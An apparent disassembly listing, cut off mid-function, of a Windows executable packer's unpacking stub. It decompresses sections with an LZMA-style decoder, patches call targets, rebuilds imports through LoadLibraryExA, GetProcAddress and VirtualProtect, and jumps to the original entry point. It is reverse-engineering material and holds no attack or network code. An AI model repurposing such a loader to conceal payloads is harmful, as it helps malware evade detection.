; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3344	proc near		; CODE XREF: start+1E5p start+3AAp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		cmp	cl, 0E1h
		jnb	short loc_4A33B6
		xor	ebx, ebx
		cmp	cl, 2Dh
		mov	[ebp+var_4], ebx
		jb	short loc_4A3374
		movzx	eax, cl
		push	2Dh
		xor	edx, edx
		pop	esi
		div	esi
		mov	[ebp+var_4], eax

loc_4A336E:				; CODE XREF: sub_4A3344+2Ej
		add	cl, 0D3h
		dec	eax
		jnz	short loc_4A336E

loc_4A3374:				; CODE XREF: sub_4A3344+1Bj
		cmp	cl, 9
		jb	short loc_4A338B
		movzx	eax, cl
		push	9
		xor	edx, edx
		pop	esi
		div	esi
		mov	ebx, eax

loc_4A3385:				; CODE XREF: sub_4A3344+45j
		add	cl, 0F7h
		dec	eax
		jnz	short loc_4A3385

loc_4A338B:				; CODE XREF: sub_4A3344+33j
		movzx	esi, cl
		mov	eax, 300h
		push	4
		lea	ecx, [esi+ebx]
		push	1000h
		shl	eax, cl
		lea	edi, [eax+eax+0E6Ch]
		push	edi
		push	0
		call	ds:dword_4A3110	; VirtualAlloc
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	short loc_4A33BB

loc_4A33B6:				; CODE XREF: sub_4A3344+11j
		push	1
		pop	eax
		jmp	short loc_4A3418
; ---------------------------------------------------------------------------

loc_4A33BB:				; CODE XREF: sub_4A3344+70j
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	0FFFFFFFFh
		add	ecx, 0FFFFFFFBh
		push	[ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, 5
		push	ecx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_4A3E82
		add	esp, 28h
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		mov	edi, eax
		push	8000h
		push	ebx
		push	[ebp+var_C]
		call	ds:dword_4A310C	; VirtualFree
		lea	eax, [ebp+var_10]
		mov	[ebp+var_14], ebx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	esi
		mov	[ebp+var_10], 0FFFFFFFBh
		push	[ebp+arg_8]
		call	sub_4A3A75
		add	esp, 14h
		mov	eax, edi

loc_4A3418:				; CODE XREF: sub_4A3344+75j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4A3344	endp


; =============== S U B	R O U T	I N E =======================================



sub_4A341D	proc near		; CODE XREF: start:loc_4A34C5p
		mov	ecx, ds:off_4A3004
		mov	eax, offset start
		sub	eax, [ecx+50h]
		retn
sub_4A341D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: sub_4A341D+6o

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_230], 0
		rep jmp	short loc_4A344E
; ---------------------------------------------------------------------------
		dw 5865h
		dd 762D7250h, 352E312Eh
		db 2Eh,	0
; ---------------------------------------------------------------------------

loc_4A344E:				; CODE XREF: start+13j
		cmp	[ebp+arg_4], 1
		jnz	short loc_4A345E
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4A3014, eax
		jmp	short loc_4A3462
; ---------------------------------------------------------------------------

loc_4A345E:				; CODE XREF: start+26j
		and	[ebp+arg_0], 0

loc_4A3462:				; CODE XREF: start+30j
		cmp	[ebp+arg_4], 0
		jnz	short loc_4A347F
		cmp	ds:dword_4A3018, 0
		jz	short loc_4A347F
		cmp	ds:dword_4A3014, 0
		jz	short loc_4A347F
		jmp	loc_4A3A73
; ---------------------------------------------------------------------------

loc_4A347F:				; CODE XREF: start+3Aj	start+43j ...
		cmp	ds:dword_4A300C, 0
		jz	short loc_4A348D
		jmp	loc_4A3A0E
; ---------------------------------------------------------------------------

loc_4A348D:				; CODE XREF: start+5Aj
		mov	ds:dword_4A300C, 1
		mov	eax, ds:dword_4A3000
		add	eax, offset dword_4A3000
		mov	ds:off_4A3004, eax
		mov	eax, ds:off_4A3004
		cmp	dword ptr [eax+4Ch], 0
		jnz	short loc_4A34C5
		push	10h
		push	offset aInfo	; "Info"
		push	offset aThisApplicatio ; "This application was packed with an Unr"...
		push	0
		call	ds:dword_4A3130	; MessageBoxA

loc_4A34C5:				; CODE XREF: start+83j
		call	sub_4A341D
		mov	ds:dword_4A3008, eax
		push	104h
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4A3128	; GetModuleFileNameA
		lea	eax, [ebp+eax+var_211]
		mov	[ebp+var_224], eax

loc_4A34F1:				; CODE XREF: start+E0j
		mov	eax, [ebp+var_224]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	short loc_4A350E
		mov	eax, [ebp+var_224]
		dec	eax
		mov	[ebp+var_224], eax
		jmp	short loc_4A34F1
; ---------------------------------------------------------------------------

loc_4A350E:				; CODE XREF: start+D1j
		mov	eax, [ebp+var_224]
		inc	eax
		mov	[ebp+var_224], eax
		mov	eax, [ebp+var_224]
		lea	ecx, [ebp+var_210]
		sub	eax, ecx
		mov	[ebp+var_24C], eax
		mov	ecx, [ebp+var_24C]
		lea	esi, [ebp+var_210]
		lea	edi, [ebp+var_104]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_24C]
		and	[ebp+eax+var_103], 0
		mov	eax, ds:dword_4A3008
		mov	[ebp+var_248], eax
		mov	eax, [ebp+var_248]
		mov	ecx, ds:dword_4A3008
		add	ecx, [eax+3Ch]
		mov	[ebp+var_228], ecx
		mov	eax, ds:off_4A3004
		cmp	dword ptr [eax+6Ch], 0
		jz	loc_4A36BE
		push	4
		push	1000h
		mov	eax, ds:off_4A3004
		push	dword ptr [eax+38h]
		push	0
		call	ds:dword_4A3110	; VirtualAlloc
		mov	[ebp+var_240], eax
		mov	eax, [ebp+var_240]
		mov	[ebp+var_238], eax
		cmp	[ebp+var_238], 0
		jnz	short loc_4A35C3
		jmp	loc_4A3A71
; ---------------------------------------------------------------------------

loc_4A35C3:				; CODE XREF: start+190j
		mov	eax, ds:off_4A3004
		mov	eax, [eax+3Ch]
		mov	[ebp+var_22C], eax
		mov	eax, ds:off_4A3004
		mov	ecx, ds:dword_4A3008
		add	ecx, [eax+44h]
		mov	eax, ds:off_4A3004
		mov	esi, [ebp+var_228]
		mov	eax, [eax+80h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_218], ecx
		push	[ebp+var_238]
		mov	eax, ds:off_4A3004
		push	dword ptr [eax+38h]
		push	[ebp+var_218]
		call	sub_4A3344
		add	esp, 0Ch
		jmp	short loc_4A3628
; ---------------------------------------------------------------------------

loc_4A361B:				; CODE XREF: start+275j
		mov	eax, [ebp+var_230]
		inc	eax
		mov	[ebp+var_230], eax

loc_4A3628:				; CODE XREF: start+1EDj
		mov	eax, ds:off_4A3004
		movzx	eax, word ptr [eax+78h]
		cmp	[ebp+var_230], eax
		jge	short loc_4A36A6
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, ds:off_4A3004
		mov	ecx, [ecx+eax+84h]
		mov	esi, [ebp+var_238]
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	edx, ds:off_4A3004
		mov	edi, ds:dword_4A3008
		add	edi, [edx+eax+88h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, ds:off_4A3004
		mov	edx, [ebp+var_238]
		add	edx, [ecx+eax+84h]
		mov	[ebp+var_238], edx
		jmp	loc_4A361B
; ---------------------------------------------------------------------------

loc_4A36A6:				; CODE XREF: start+20Bj
		push	8000h
		push	0
		push	[ebp+var_240]
		call	ds:dword_4A310C	; VirtualFree
		jmp	loc_4A37E3
; ---------------------------------------------------------------------------

loc_4A36BE:				; CODE XREF: start+15Aj
		mov	eax, ds:off_4A3004
		mov	ecx, ds:dword_4A3008
		add	ecx, [eax+44h]
		mov	eax, ds:off_4A3004
		sub	ecx, [eax+40h]
		mov	eax, ds:off_4A3004
		mov	esi, [ebp+var_228]
		mov	eax, [eax+80h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_240], ecx
		and	[ebp+var_230], 0
		jmp	short loc_4A3708
; ---------------------------------------------------------------------------

loc_4A36FB:				; CODE XREF: start:loc_4A37DEj
		mov	eax, [ebp+var_230]
		inc	eax
		mov	[ebp+var_230], eax

loc_4A3708:				; CODE XREF: start+2CDj
		mov	eax, ds:off_4A3004
		movzx	eax, word ptr [eax+78h]
		cmp	[ebp+var_230], eax
		jge	loc_4A37E3
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, ds:off_4A3004
		cmp	dword ptr [ecx+eax+7Ch], 0
		jz	loc_4A37DE
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, ds:off_4A3004
		cmp	dword ptr [ecx+eax+84h], 0
		jbe	loc_4A37DE
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, ds:off_4A3004
		mov	edx, ds:dword_4A3008
		add	edx, [ecx+eax+88h]
		mov	[ebp+var_238], edx
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, ds:off_4A3004
		mov	eax, [ecx+eax+84h]
		mov	[ebp+var_22C], eax
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, ds:off_4A3004
		mov	edx, [ebp+var_240]
		add	edx, [ecx+eax+80h]
		mov	[ebp+var_218], edx
		push	[ebp+var_238]
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, ds:off_4A3004
		push	dword ptr [ecx+eax+84h]
		push	[ebp+var_218]
		call	sub_4A3344
		add	esp, 0Ch

loc_4A37DE:				; CODE XREF: start+305j start+322j
		jmp	loc_4A36FB
; ---------------------------------------------------------------------------

loc_4A37E3:				; CODE XREF: start+28Dj start+2EBj
		mov	eax, ds:off_4A3004
		mov	ecx, ds:dword_4A3008
		add	ecx, [eax+5Ch]
		mov	[ebp+var_244], ecx

loc_4A37F7:				; CODE XREF: start+5C9j
		mov	eax, [ebp+var_244]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_4A39FA
		mov	eax, ds:off_4A3004
		cmp	dword ptr [eax+5Ch], 0
		jz	loc_4A39FA
		lea	eax, [ebp+var_234]
		push	eax
		push	40h
		push	14h
		push	[ebp+var_244]
		call	ds:dword_4A3124	; VirtualProtect
		mov	eax, [ebp+var_244]
		mov	ecx, ds:dword_4A3008
		add	ecx, [eax+0Ch]
		mov	[ebp+var_10C], ecx
		push	[ebp+var_10C]
		call	ds:dword_4A3120	; GetModuleHandleA
		mov	[ebp+var_23C], eax
		cmp	[ebp+var_23C], 0
		jnz	short loc_4A3873
		push	8
		push	0
		push	[ebp+var_10C]
		call	ds:dword_4A311C	; LoadLibraryExA
		mov	[ebp+var_23C], eax

loc_4A3873:				; CODE XREF: start+42Fj
		cmp	[ebp+var_23C], 0
		jnz	short loc_4A38C5
		mov	edi, [ebp+var_10C]
		mov	eax, [ebp+var_24C]
		lea	eax, [ebp+eax+var_104]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	8
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4A311C	; LoadLibraryExA
		mov	[ebp+var_23C], eax

loc_4A38C5:				; CODE XREF: start+44Ej
		cmp	[ebp+var_23C], 0
		jnz	short loc_4A38D3
		jmp	loc_4A3A6F
; ---------------------------------------------------------------------------

loc_4A38D3:				; CODE XREF: start+4A0j
		mov	eax, [ebp+var_244]
		mov	ecx, ds:dword_4A3008
		add	ecx, [eax+10h]
		mov	[ebp+var_21C], ecx
		mov	eax, [ebp+var_244]
		cmp	dword ptr [eax], 0
		jnz	short loc_4A3901
		mov	eax, [ebp+var_21C]
		mov	[ebp-214h], eax
		jmp	short loc_4A3915
; ---------------------------------------------------------------------------

loc_4A3901:				; CODE XREF: start+4C5j
		mov	eax, [ebp+var_244]
		mov	ecx, ds:dword_4A3008
		add	ecx, [eax]
		mov	[ebp-214h], ecx

loc_4A3915:				; CODE XREF: start+4D3j start+5B5j
		mov	eax, [ebp-214h]
		cmp	dword ptr [eax], 0
		jz	loc_4A39E6
		and	[ebp+var_250], 0
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_4A3961
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_23C]
		call	ds:dword_4A3118	; GetProcAddress
		mov	[ebp+var_250], eax
		jmp	short loc_4A3990
; ---------------------------------------------------------------------------

loc_4A3961:				; CODE XREF: start+50Ej
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		add	eax, ds:dword_4A3008
		mov	[ebp+var_108], eax
		mov	eax, [ebp+var_108]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_23C]
		call	ds:dword_4A3118	; GetProcAddress
		mov	[ebp+var_250], eax

loc_4A3990:				; CODE XREF: start+533j
		cmp	[ebp+var_250], 0
		jnz	short loc_4A399E
		jmp	loc_4A3A6D
; ---------------------------------------------------------------------------

loc_4A399E:				; CODE XREF: start+56Bj
		lea	eax, [ebp+var_234]
		push	eax
		push	40h
		push	4
		push	[ebp+var_21C]
		call	ds:dword_4A3124	; VirtualProtect
		mov	eax, [ebp+var_21C]
		mov	ecx, [ebp+var_250]
		mov	[eax], ecx
		mov	eax, [ebp-214h]
		add	eax, 4
		mov	[ebp-214h], eax
		mov	eax, [ebp+var_21C]
		add	eax, 4
		mov	[ebp+var_21C], eax
		jmp	loc_4A3915
; ---------------------------------------------------------------------------

loc_4A39E6:				; CODE XREF: start+4F2j
		mov	eax, [ebp+var_244]
		add	eax, 14h
		mov	[ebp+var_244], eax
		jmp	loc_4A37F7
; ---------------------------------------------------------------------------

loc_4A39FA:				; CODE XREF: start+3D5j start+3E4j
		mov	eax, ds:off_4A3004
		mov	ecx, ds:dword_4A3008
		add	ecx, [eax+48h]
		mov	ds:off_4A301C, ecx

loc_4A3A0E:				; CODE XREF: start+5Cj
		cmp	ds:dword_4A3010, 0
		jz	short loc_4A3A2A
		push	8000h
		push	0
		push	ds:dword_4A3010
		call	ds:dword_4A310C	; VirtualFree

loc_4A3A2A:				; CODE XREF: start+5E9j
		mov	eax, ds:off_4A301C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		push	eax
		mov	eax, ds:off_4A3004
		cmp	dword ptr [eax+48h], 0
		jnz	short loc_4A3A46
		pop	eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_4A3A46:				; CODE XREF: start+613j
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------

loc_4A3A49:				; CODE XREF: start:loc_4A3A6Dj
					; start:loc_4A3A6Fj ...
		cmp	ds:dword_4A3010, 0
		jz	short loc_4A3A65
		push	8000h
		push	0
		push	ds:dword_4A3010
		call	ds:dword_4A310C	; VirtualFree

loc_4A3A65:				; CODE XREF: start+624j
		push	0
		call	ds:dword_4A3114	; ExitProcess

loc_4A3A6D:				; CODE XREF: start+56Dj
		jmp	short loc_4A3A49
; ---------------------------------------------------------------------------

loc_4A3A6F:				; CODE XREF: start+4A2j
		jmp	short loc_4A3A49
; ---------------------------------------------------------------------------

loc_4A3A71:				; CODE XREF: start+192j
		jmp	short loc_4A3A49
; ---------------------------------------------------------------------------

loc_4A3A73:				; CODE XREF: start+4Ej
		jmp	short loc_4A3A49
start		endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3A75	proc near		; CODE XREF: sub_4A3344+CAp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	1
		mov	esi, [ebp+arg_C]
		pop	ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], ecx
		xor	eax, eax
		and	[ebp+var_C], al
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_B], cl
		mov	ecx, [ebp+arg_4]
		add	ecx, 0FFFFFFFBh
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_A], 2
		mov	[ebp+var_9], 2
		mov	[ebp+var_8], 3
		mov	[ebp+var_7], 3
		mov	[ebp+var_6], 3
		mov	[ebp+var_5], 3
		mov	[ebp+var_4], ecx

loc_4A3AC5:				; CODE XREF: sub_4A3A75+16Fj
		mov	edi, [ebp+arg_0]
		mov	cl, [eax+edi]
		cmp	cl, 0E8h
		jz	short loc_4A3ADB
		cmp	cl, 0E9h
		jz	short loc_4A3ADB
		inc	eax
		jmp	loc_4A3BE1
; ---------------------------------------------------------------------------

loc_4A3ADB:				; CODE XREF: sub_4A3A75+59j
					; sub_4A3A75+5Ej
		mov	edx, [ebp+arg_10]
		mov	ebx, [ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [edx]
		add	ecx, ebx
		add	ebx, eax
		cmp	ecx, 5
		mov	[edx], ebx
		jbe	short loc_4A3AF5
		and	dword ptr [esi], 0
		jmp	short loc_4A3B05
; ---------------------------------------------------------------------------

loc_4A3AF5:				; CODE XREF: sub_4A3A75+79j
		test	ecx, ecx
		jbe	short loc_4A3B05

loc_4A3AF9:				; CODE XREF: sub_4A3A75+8Ej
		mov	edx, [esi]
		and	edx, 77h
		shl	edx, 1
		dec	ecx
		mov	[esi], edx
		jnz	short loc_4A3AF9

loc_4A3B05:				; CODE XREF: sub_4A3A75+7Ej
					; sub_4A3A75+82j
		mov	dl, [eax+edi+4]
		test	dl, dl
		jz	short loc_4A3B16
		cmp	dl, 0FFh
		jnz	loc_4A3BCD

loc_4A3B16:				; CODE XREF: sub_4A3A75+96j
		mov	ecx, [esi]
		mov	[ebp+arg_4], ecx
		shr	[ebp+arg_4], 1
		mov	ebx, [ebp+arg_4]
		and	ebx, 7
		cmp	[ebp+ebx*4+var_2C], 0
		jz	loc_4A3BCD
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 20h
		jnb	loc_4A3BCD
		xor	ecx, ecx
		mov	ch, dl
		mov	cl, [eax+edi+3]
		movzx	edx, byte ptr [eax+edi+2]
		shl	ecx, 8
		or	ecx, edx
		movzx	edx, byte ptr [eax+edi+1]
		shl	ecx, 8
		or	edx, ecx

loc_4A3B57:				; CODE XREF: sub_4A3A75+125j
		sub	edx, eax
		sub	edx, [ebp+arg_8]
		sub	edx, 5
		cmp	dword ptr [esi], 0
		mov	ebx, edx
		jz	short loc_4A3B9F
		mov	ecx, [ebp+arg_4]
		push	18h
		movzx	edi, [ebp+ecx+var_C]
		mov	ecx, edi
		shl	ecx, 3
		mov	edx, ecx
		pop	ecx
		sub	ecx, edx
		mov	edx, ebx
		shr	edx, cl
		test	dl, dl
		jz	short loc_4A3B87
		cmp	dl, 0FFh
		jnz	short loc_4A3B9C

loc_4A3B87:				; CODE XREF: sub_4A3A75+10Bj
		push	4
		pop	ecx
		sub	ecx, edi
		push	1
		shl	ecx, 3
		pop	edx
		mov	edi, [ebp+arg_0]
		shl	edx, cl
		dec	edx
		xor	edx, ebx
		jmp	short loc_4A3B57
; ---------------------------------------------------------------------------

loc_4A3B9C:				; CODE XREF: sub_4A3A75+110j
		mov	edi, [ebp+arg_0]

loc_4A3B9F:				; CODE XREF: sub_4A3A75+EFj
		mov	ecx, ebx
		add	eax, 5
		shr	ecx, 18h
		and	cl, 1
		dec	cl
		not	cl
		mov	[eax+edi-1], cl
		mov	ecx, ebx
		shr	ecx, 10h
		mov	[eax+edi-2], cl
		mov	ecx, ebx
		shr	ecx, 8
		mov	[eax+edi-3], cl
		mov	[eax+edi-4], bl
		and	dword ptr [esi], 0
		jmp	short loc_4A3BE1
; ---------------------------------------------------------------------------

loc_4A3BCD:				; CODE XREF: sub_4A3A75+9Bj
					; sub_4A3A75+B4j ...
		or	dword ptr [esi], 1
		mov	ecx, [esi]
		inc	eax
		test	dl, dl
		jz	short loc_4A3BDC
		cmp	dl, 0FFh
		jnz	short loc_4A3BE1

loc_4A3BDC:				; CODE XREF: sub_4A3A75+160j
		or	ecx, 10h
		mov	[esi], ecx

loc_4A3BE1:				; CODE XREF: sub_4A3A75+61j
					; sub_4A3A75+156j ...
		cmp	eax, [ebp+var_4]
		jbe	loc_4A3AC5
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4A3A75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3BEF	proc near		; CODE XREF: sub_4A3E82+309p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	esi
		xor	eax, eax
		mov	esi, [ecx+8]
		push	edi
		mov	edi, [ecx+0Ch]
		test	edx, edx
		jle	short loc_4A3C47
		push	ebx
		mov	[ebp+arg_0], edx

loc_4A3C0A:				; CODE XREF: sub_4A3BEF+55j
		shr	esi, 1
		shl	eax, 1
		cmp	edi, esi
		jb	short loc_4A3C16
		sub	edi, esi
		or	al, 1

loc_4A3C16:				; CODE XREF: sub_4A3BEF+21j
		cmp	esi, 1000000h
		jnb	short loc_4A3C41
		mov	edx, [ecx]
		shl	esi, 8
		cmp	edx, [ecx+4]
		jnz	short loc_4A3C34
		mov	dword ptr [ecx+10h], 1
		or	bl, 0FFh
		jmp	short loc_4A3C39
; ---------------------------------------------------------------------------

loc_4A3C34:				; CODE XREF: sub_4A3BEF+37j
		mov	bl, [edx]
		inc	edx
		mov	[ecx], edx

loc_4A3C39:				; CODE XREF: sub_4A3BEF+43j
		movzx	edx, bl
		shl	edi, 8
		or	edi, edx

loc_4A3C41:				; CODE XREF: sub_4A3BEF+2Dj
		dec	[ebp+arg_0]
		jnz	short loc_4A3C0A
		pop	ebx

loc_4A3C47:				; CODE XREF: sub_4A3BEF+15j
		mov	[ecx+0Ch], edi
		mov	[ecx+8], esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4A3BEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4A3C51	proc near		; CODE XREF: sub_4A3D16+1Dp
					; sub_4A3D4D+1Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	eax, [ecx+8]
		movzx	esi, word ptr [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, esi
		mov	esi, [ecx+0Ch]
		cmp	esi, edi
		jnb	short loc_4A3CC2
		mov	[ecx+8], edi
		mov	ax, [edx]
		movzx	esi, ax
		mov	edi, 800h
		sub	edi, esi
		sar	edi, 5
		add	edi, eax
		mov	[edx], di
		mov	eax, [ecx+8]
		cmp	eax, 1000000h
		jnb	short loc_4A3CBE
		mov	esi, [ecx]
		cmp	esi, [ecx+4]
		jnz	short loc_4A3CA5
		mov	dword ptr [ecx+10h], 1
		or	dl, 0FFh
		jmp	short loc_4A3CAA
; ---------------------------------------------------------------------------

loc_4A3CA5:				; CODE XREF: sub_4A3C51+46j
		mov	dl, [esi]
		inc	esi
		mov	[ecx], esi

loc_4A3CAA:				; CODE XREF: sub_4A3C51+52j
		mov	esi, [ecx+0Ch]
		movzx	edx, dl
		shl	esi, 8
		or	esi, edx
		shl	eax, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], eax

loc_4A3CBE:				; CODE XREF: sub_4A3C51+3Fj
		xor	eax, eax
		jmp	short loc_4A3D13
; ---------------------------------------------------------------------------

loc_4A3CC2:				; CODE XREF: sub_4A3C51+1Dj
		sub	eax, edi
		sub	esi, edi
		mov	[ecx+8], eax
		mov	[ecx+0Ch], esi
		mov	ax, [edx]
		push	1
		mov	si, ax
		shr	si, 5
		sub	eax, esi
		mov	[edx], ax
		mov	edx, [ecx+8]
		cmp	edx, 1000000h
		pop	eax
		jnb	short loc_4A3D13
		mov	esi, [ecx]
		push	ebx
		cmp	esi, [ecx+4]
		jnz	short loc_4A3CF9
		mov	[ecx+10h], eax
		or	bl, 0FFh
		jmp	short loc_4A3CFE
; ---------------------------------------------------------------------------

loc_4A3CF9:				; CODE XREF: sub_4A3C51+9Ej
		mov	bl, [esi]
		inc	esi
		mov	[ecx], esi

loc_4A3CFE:				; CODE XREF: sub_4A3C51+A6j
		mov	esi, [ecx+0Ch]
		movzx	edi, bl
		shl	esi, 8
		or	esi, edi
		pop	ebx
		shl	edx, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], edx

loc_4A3D13:				; CODE XREF: sub_4A3C51+6Fj
					; sub_4A3C51+96j
		pop	edi
		pop	esi
		retn
sub_4A3C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3D16	proc near		; CODE XREF: sub_4A3E0D+26p
					; sub_4A3E0D+51p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	1
		pop	eax
		jle	short loc_4A3D41
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]

loc_4A3D27:				; CODE XREF: sub_4A3D16+27j
		push	[ebp+arg_8]
		lea	esi, [eax+eax]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	sub_4A3C51
		pop	ecx
		add	eax, esi
		dec	edi
		pop	ecx
		jnz	short loc_4A3D27
		pop	edi
		pop	esi

loc_4A3D41:				; CODE XREF: sub_4A3D16+Aj
		mov	ecx, [ebp+arg_4]
		push	1
		pop	edx
		shl	edx, cl
		sub	eax, edx
		pop	ebp
		retn
sub_4A3D16	endp


; =============== S U B	R O U T	I N E =======================================



sub_4A3D4D	proc near		; CODE XREF: sub_4A3E82+2F5p
					; sub_4A3E82+320p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	edi
		xor	ebx, ebx
		push	1
		xor	edi, edi
		cmp	[esp+0Ch+arg_4], ebx
		pop	edx
		jle	short loc_4A3D83
		push	esi

loc_4A3D5D:				; CODE XREF: sub_4A3D4D+33j
		mov	eax, [esp+0Ch+arg_0]
		push	[esp+0Ch+arg_8]
		lea	esi, [edx+edx]
		add	eax, esi
		push	eax
		call	sub_4A3C51
		pop	ecx
		lea	edx, [esi+eax]
		pop	ecx
		mov	ecx, edi
		shl	eax, cl
		or	ebx, eax
		inc	edi
		cmp	edi, [esp+0Ch+arg_4]
		jl	short loc_4A3D5D
		pop	esi

loc_4A3D83:				; CODE XREF: sub_4A3D4D+Dj
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
sub_4A3D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3D88	proc near		; CODE XREF: sub_4A3E82+143p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		shl	[ebp+arg_8], 1
		mov	eax, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_4]
		shl	eax, 9
		lea	eax, [eax+edi+202h]
		push	eax
		call	sub_4A3C51
		pop	ecx
		mov	ebx, eax
		pop	ecx
		or	ebx, 2

loc_4A3DB7:				; CODE XREF: sub_4A3D88+5Fj
		cmp	esi, eax
		jnz	short loc_4A3DE9
		cmp	ebx, 100h
